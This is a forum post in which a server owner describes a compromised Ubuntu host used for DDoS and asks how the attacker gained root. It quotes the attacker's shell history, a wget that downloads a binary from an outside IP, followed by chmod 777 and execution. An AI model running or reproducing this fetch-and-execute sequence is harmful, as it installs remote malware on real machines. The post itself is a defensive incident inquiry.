Currently I have a compromised server (Ubuntu) that is running all services in Docker containers, but I found today a malicious program that was generating a DDOS attack.
I checked all services in Docker, and they are ok, they wasn't compromised, but the host was. I found an executable file
/AAK in Ubuntu that I think it was the DDOS attack, and I found in the history of
root the following entries:
netstat -antup chmod 777 AA wget http://18.104.22.168:7410/AAK chmod 777 AAK ./AAK
It is clear for me that was the origin of the attack, and checking open ports on the server, a random 10XX port was open by this process, and another malicious process had a port open.
Another ports open: 80 (nginx in a Docker container), 22 (SSH, NOT using password, using keys instead), and 111 (was open by default and used by rpcbind).
How could I check how the attacker got root access to the server? If the application in a Docker container wasn't the origin, what could have caused this breach?
I don't want to recreate the server just to be hacked again using the same vulnerability.
Edit: Forgot to mention that I was using digital-ocean vagrant plugin.